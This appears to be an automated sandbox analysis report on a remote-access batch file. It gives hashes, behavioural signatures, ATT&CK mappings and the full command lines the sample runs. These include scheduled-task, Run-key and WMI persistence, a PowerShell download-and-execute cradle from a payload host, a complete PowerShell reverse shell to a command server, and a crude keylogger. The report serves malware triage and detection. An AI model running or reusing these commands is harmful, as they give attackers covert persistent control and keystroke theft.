Analysis
- max time kernel
149s - max time network
151s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
arch:x64arch:x86image:win11-20260513-enlocale:en-usos:windows11-21h2-x64systemwindows - submitted
29/05/2026, 22:28
Static task
static1
Behavioral task
behavioral1
Sample
rat_build_90968_014303.bat
Resource
win10v2004-20260513-en
Behavioral task
behavioral2
Sample
rat_build_90968_014303.bat
Resource
win11-20260513-en
General
- Target rat_build_90968_014303.bat
- Size 4KB
- Sample260529-2dpypabs2w
- SHA256 dbc5417c46760b04b6e506ce0b821251a8051ad87548548f8c5e3176f7a35ee1
- MD5 730cebd4be8a756b833a64ebd4b197de
- SHA1 ef7562a2ea8adc512715aaa6069a9b70ff54934d
- SHA512 c41a1047e9408c2b1ba8edd2030a4a03e321d02b3d9131151e2a1310b76504740c5593b97a532425c75f601751658318e68b72e24eb75682d388be965dea0c11
- SSDEEP 96:uIxCxrWLAyHADok73WtAOV9LSQa9Am9MUkgPsKiFgZk8mvlo1WJb:uFCLAyH4l7+H2jAeMUkGiFgkHlj1
- TLSH T1C8B1F71B63A6652095B01324CD373864536CE8FB1B05DDADBB4CCDC81A0CB0BE56A6E7
- MD5 SHA1 SHA512 SSDEEP TLSH
Malware Config
Extracted
-
ps1
-
ps1.dropper
http://payload.server/update_90968.ps1
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell and hide display window.
pid Process 4824 powershell.exe 1504 powershell.exe 2008 powershell.exe - Adds Run key to start application 2 TTPs 1 IoCs
description ioc Process Set value (str) \REGISTRY\USER\S-1-5-21-2654269261-3199571979-4291878722-1000\Software\Microsoft\Windows\CurrentVersion\Run\Updater_90968 = "C:\\Users\\Admin\\AppData\\Local\\Temp\\_90968.bat" reg.exe - Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
flow ioc 1 checkip.amazonaws.com - Gathers network information 2 TTPs 1 IoCs
Uses commandline utility to view network configuration.
pid Process 3204 NETSTAT.EXE - Gathers system information 1 TTPs 1 IoCs
Runs systeminfo.exe.
pid Process 1040 systeminfo.exe - Modifies registry key 1 TTPs 1 IoCs
pid Process 4020 reg.exe - Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
pid Process 4968 schtasks.exe - Suspicious behavior: EnumeratesProcesses 6 IoCs
pid Process 2008 powershell.exe 2008 powershell.exe 1504 powershell.exe 1504 powershell.exe 4824 powershell.exe 4824 powershell.exe - Suspicious use of AdjustPrivilegeToken 64 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 3952 WMIC.exe Token: SeSecurityPrivilege 3952 WMIC.exe Token: SeTakeOwnershipPrivilege 3952 WMIC.exe Token: SeLoadDriverPrivilege 3952 WMIC.exe Token: SeSystemProfilePrivilege 3952 WMIC.exe Token: SeSystemtimePrivilege 3952 WMIC.exe Token: SeProfSingleProcessPrivilege 3952 WMIC.exe Token: SeIncBasePriorityPrivilege 3952 WMIC.exe Token: SeCreatePagefilePrivilege 3952 WMIC.exe Token: SeBackupPrivilege 3952 WMIC.exe Token: SeRestorePrivilege 3952 WMIC.exe Token: SeShutdownPrivilege 3952 WMIC.exe Token: SeDebugPrivilege 3952 WMIC.exe Token: SeSystemEnvironmentPrivilege 3952 WMIC.exe Token: SeRemoteShutdownPrivilege 3952 WMIC.exe Token: SeUndockPrivilege 3952 WMIC.exe Token: SeManageVolumePrivilege 3952 WMIC.exe Token: 33 3952 WMIC.exe Token: 34 3952 WMIC.exe Token: 35 3952 WMIC.exe Token: 36 3952 WMIC.exe Token: SeIncreaseQuotaPrivilege 3952 WMIC.exe Token: SeSecurityPrivilege 3952 WMIC.exe Token: SeTakeOwnershipPrivilege 3952 WMIC.exe Token: SeLoadDriverPrivilege 3952 WMIC.exe Token: SeSystemProfilePrivilege 3952 WMIC.exe Token: SeSystemtimePrivilege 3952 WMIC.exe Token: SeProfSingleProcessPrivilege 3952 WMIC.exe Token: SeIncBasePriorityPrivilege 3952 WMIC.exe Token: SeCreatePagefilePrivilege 3952 WMIC.exe Token: SeBackupPrivilege 3952 WMIC.exe Token: SeRestorePrivilege 3952 WMIC.exe Token: SeShutdownPrivilege 3952 WMIC.exe Token: SeDebugPrivilege 3952 WMIC.exe Token: SeSystemEnvironmentPrivilege 3952 WMIC.exe Token: SeRemoteShutdownPrivilege 3952 WMIC.exe Token: SeUndockPrivilege 3952 WMIC.exe Token: SeManageVolumePrivilege 3952 WMIC.exe Token: 33 3952 WMIC.exe Token: 34 3952 WMIC.exe Token: 35 3952 WMIC.exe Token: 36 3952 WMIC.exe Token: SeIncreaseQuotaPrivilege 4492 WMIC.exe Token: SeSecurityPrivilege 4492 WMIC.exe Token: SeTakeOwnershipPrivilege 4492 WMIC.exe Token: SeLoadDriverPrivilege 4492 WMIC.exe Token: SeSystemProfilePrivilege 4492 WMIC.exe Token: SeSystemtimePrivilege 4492 WMIC.exe Token: SeProfSingleProcessPrivilege 4492 WMIC.exe Token: SeIncBasePriorityPrivilege 4492 WMIC.exe Token: SeCreatePagefilePrivilege 4492 WMIC.exe Token: SeBackupPrivilege 4492 WMIC.exe Token: SeRestorePrivilege 4492 WMIC.exe Token: SeShutdownPrivilege 4492 WMIC.exe Token: SeDebugPrivilege 4492 WMIC.exe Token: SeSystemEnvironmentPrivilege 4492 WMIC.exe Token: SeRemoteShutdownPrivilege 4492 WMIC.exe Token: SeUndockPrivilege 4492 WMIC.exe Token: SeManageVolumePrivilege 4492 WMIC.exe Token: 33 4492 WMIC.exe Token: 34 4492 WMIC.exe Token: 35 4492 WMIC.exe Token: 36 4492 WMIC.exe Token: SeIncreaseQuotaPrivilege 4492 WMIC.exe - Suspicious use of WriteProcessMemory 10 IoCs
description pid Process procid_target PID 1144 wrote to memory of 4968 1144 cmd.exe 83 PID 1144 wrote to memory of 4020 1144 cmd.exe 84 PID 1144 wrote to memory of 3952 1144 cmd.exe 85 PID 1144 wrote to memory of 4492 1144 cmd.exe 87 PID 1144 wrote to memory of 916 1144 cmd.exe 88 PID 1144 wrote to memory of 1040 1144 cmd.exe 89 PID 1144 wrote to memory of 3204 1144 cmd.exe 94 PID 1144 wrote to memory of 2008 1144 cmd.exe 95 PID 1144 wrote to memory of 1504 1144 cmd.exe 96 PID 1144 wrote to memory of 4824 1144 cmd.exe 97 - Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\rat_build_90968_014303.bat"1⤵
- Suspicious use of WriteProcessMemory
PID:1144 -
C:\Windows\system32\schtasks.exeschtasks /create /tn "WinUpdate_90968" /tr "C:\Users\Admin\AppData\Local\Temp\_90968.bat" /sc onlogon /ru "SYSTEM" /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:4968
-
-
C:\Windows\system32\reg.exereg add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v "Updater_90968" /t REG_SZ /d "C:\Users\Admin\AppData\Local\Temp\_90968.bat" /f2⤵
- Adds Run key to start application
- Modifies registry key
PID:4020
-
-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH __EventFilter CREATE Name="filt_90968", EventNameSpace="root\cimv2", QueryLanguage="WQL", Query="SELECT * FROM Win32_ProcessStartTrace WHERE ProcessName='explorer.exe'"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:3952
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-
C:\Windows\System32\Wbem\WMIC.exewmic /NAMESPACE:"\\root\subscription" PATH CommandLineEventConsumer CREATE Name="cons_90968", CommandLineTemplate="cmd /c C:\Users\Admin\AppData\Local\Temp\_90968.bat"2⤵
- Suspicious use of AdjustPrivilegeToken
PID:4492
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C:\Windows\system32\curl.execurl -s http://checkip.amazonaws.com -o C:\Users\Admin\AppData\Local\Temp\ip_90968.txt2⤵PID:916
-
-
C:\Windows\system32\systeminfo.exesysteminfo2⤵
- Gathers system information
PID:1040
-
-
C:\Windows\system32\NETSTAT.EXEnetstat -an2⤵
- Gathers network information
PID:3204
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "IEX((New-Object Net.WebClient).DownloadString('http://payload.server/update_90968.ps1'))"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:2008
-
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$client = New-Object System.Net.Sockets.TCPClient('c2.server.com',443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + 'PS ' + (pwd).Path + '> ';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:1504
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C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -Command "$w=(New-Object -ComObject WScript.Shell).Popup("Updating...",0,"Windows",0+48);$k=New-Object -ComObject WScript.Shell;$k.Run("powershell -WindowStyle Hidden -Command "$d=[Environment]::GetFolderPath('Desktop');$i=0;while($true){$key=[Console]::ReadKey($true);$t=$key.Key.ToString();if($t -eq 'Enter'){$t='[ENTER]'};Add-Content -Path $d\log.txt -Value $t}"),0,true"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
PID:4824
-
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
2PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
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Downloads
- Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
- Size 2KB
- SHA256 d69b7d84970cb04cd069299fd8aa9cef8394999588bead979104dc3cb743b4f2
- MD5 5f4c933102a824f41e258078e34165a7
- SHA1 d2f9e997b2465d3ae7d91dad8d99b77a2332b6ee
- SHA512 a7556b2be1a69dbc1f7ff4c1c25581a28cb885c7e1116632c535fee5facaa99067bcead8f02499980f1d999810157d0fc2f9e45c200dee7d379907ef98a6f034
- TLSH T15651CF323375B1D489163F07192C59C463BF8355FA94AF4CB698624ED92700B9F222F3
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
- Size 1KB
- SHA256 fd949ff64bc93b6bcff447de4f7307dbd4cfb391faf81efe2a845f8349d9b10c
- MD5 8a9ce637f47cb4acdbef782b0c075292
- SHA1 61c4f0209f159fae19220a78c4428848c90d0e01
- SHA512 6452ea5fff0d3139dd61de41cb37738a228bd13f7b039aa519acb8ab5f2084c10473415f0d3631a68829e81da3dc6018e37cff3618c48ae358c9a94fa91eb122
- TLSH T1B7117A33B79CC134C8D9117A108DAD01B2B5C3CB049EDE8B7A84C508E57F58ADB641E4
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_xas0khks.vaa.ps1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH